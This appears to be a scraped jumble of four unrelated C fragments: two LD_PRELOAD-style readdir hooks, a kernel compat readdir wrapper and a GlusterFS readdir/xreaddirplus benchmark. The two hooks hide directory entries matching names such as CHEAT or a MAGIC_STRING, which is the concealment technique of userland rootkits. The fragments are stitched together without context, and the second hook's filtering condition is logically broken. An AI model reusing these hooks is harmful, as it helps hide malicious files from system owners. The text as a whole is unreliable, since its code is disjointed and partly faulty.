struct dirent *readdir(DIR *dirp) { struct dirent *ret = NULL; if (NULL == libc) { if (NULL == (libc = dlopen(TAMPER_LIBC, RTLD_LAZY))) { DEBUG(1, "dlopen %s fail %m", TAMPER_LIBC); goto END; } } if (NULL == old_readdir) { if (NULL == (old_readdir = dlsym(libc, "readdir"))) { DEBUG(1, "dlsym readdir fail %m"); goto END; } } while(1) { ret = old_readdir(dirp); if (ret && 0 == strcmp(ret->d_name, CHEAT)) { continue; } break; } END: return ret; }
struct dirent * readdir (DIR * dirp) { struct dirent *dir; #ifdef DEBUG printf ("readdir hooked.\n"); #endif if (!libc) libc = dlopen (LIBC_PATH, RTLD_LAZY); if (!old_readdir) old_readdir = dlsym (libc, "readdir"); do { dir = old_readdir (dirp); if (dir != NULL && (strcmp (dir->d_name, ".\0") || strcmp (dir->d_name, "/\0"))) continue; } while (dir && (strstr (dir->d_name, MAGIC_STRING) != 0 || strstr (dir->d_name, CONFIG_FILE) != 0)); return dir; }
asmlinkage int sys32_readdir(unsigned int fd, void * dirent32, unsigned int count) { int n; struct dirent dirent64; if ((n = old_readdir(fd, &dirent64, count)) < 0) return(n); xlate_dirent(&dirent64, dirent32, dirent64.d_reclen); return(n); }
int main(int argc, char *argv[]) { int ret = -1; glfs_t *fs = NULL; char *volname = NULL; char *logfile = NULL; char *hostname = NULL; char *my_file = "file_"; char my_file_name[MAXPATHNAME]; uint32_t flags = O_RDWR | O_SYNC; struct glfs_fd *fd = NULL; int i = 0; int pct = 0; struct timespec timestamp = {0, 0}, st_timestamp, ed_timestamp; struct timespec otimestamp = {0, 0}, ost_timestamp, oed_timestamp; if (argc != 4) { fprintf(stderr, "Invalid argument\n"); return 1; } hostname = argv[1]; volname = argv[2]; logfile = argv[3]; fs = glfs_new(volname); VALIDATE_BOOL_AND_GOTO_LABEL_ON_ERROR("glfs_new", !!fs, ret, out); ret = glfs_set_volfile_server(fs, "tcp", hostname, 24007); VALIDATE_AND_GOTO_LABEL_ON_ERROR("glfs_set_volfile_server", ret, out); ret = glfs_set_logging(fs, logfile, 7); VALIDATE_AND_GOTO_LABEL_ON_ERROR("glfs_set_logging", ret, out); ret = glfs_init(fs); VALIDATE_AND_GOTO_LABEL_ON_ERROR("glfs_init", ret, out); for (i = 0; i < MAX_FILES_CREATE; i++) { sprintf(my_file_name, "%s%d", my_file, i); fd = glfs_creat(fs, my_file_name, flags, 0644); VALIDATE_BOOL_AND_GOTO_LABEL_ON_ERROR("glfs_creat", !!fd, ret, out); glfs_close(fd); } /* measure performance using old readdir call and new xreaddirplus call and * compare */ ret = clock_gettime(CLOCK_REALTIME, &ost_timestamp); VALIDATE_AND_GOTO_LABEL_ON_ERROR("clock_gettime", ret, out); ret = old_readdir(fs); VALIDATE_AND_GOTO_LABEL_ON_ERROR("old_readdir", ret, out); ret = clock_gettime(CLOCK_REALTIME, &oed_timestamp); VALIDATE_AND_GOTO_LABEL_ON_ERROR("clock_gettime", ret, out); assimilatetime(&otimestamp, ost_timestamp, oed_timestamp); printf("\tOverall time using readdir:\n\t\tSecs:%ld\n\t\tnSecs:%ld\n", otimestamp.tv_sec, otimestamp.tv_nsec); ret = clock_gettime(CLOCK_REALTIME, &st_timestamp); VALIDATE_AND_GOTO_LABEL_ON_ERROR("clock_gettime", ret, out); ret = new_xreaddirplus(fs); VALIDATE_AND_GOTO_LABEL_ON_ERROR("new_xreaddirplus", ret, out); ret = clock_gettime(CLOCK_REALTIME, &ed_timestamp); VALIDATE_AND_GOTO_LABEL_ON_ERROR("clock_gettime", ret, out); assimilatetime(×tamp, st_timestamp, ed_timestamp); printf("\tOverall time using xreaddirplus:\n\t\tSecs:%ld\n\t\tnSecs:%ld\n", timestamp.tv_sec, timestamp.tv_nsec); pct = comparetime(otimestamp, timestamp); printf("There is improvement by %d%%\n", pct); ret = 0; out: if (fs) { ret = glfs_fini(fs); if (ret) fprintf(stderr, "glfs_fini(fs) returned %d\n", ret); } return ret; }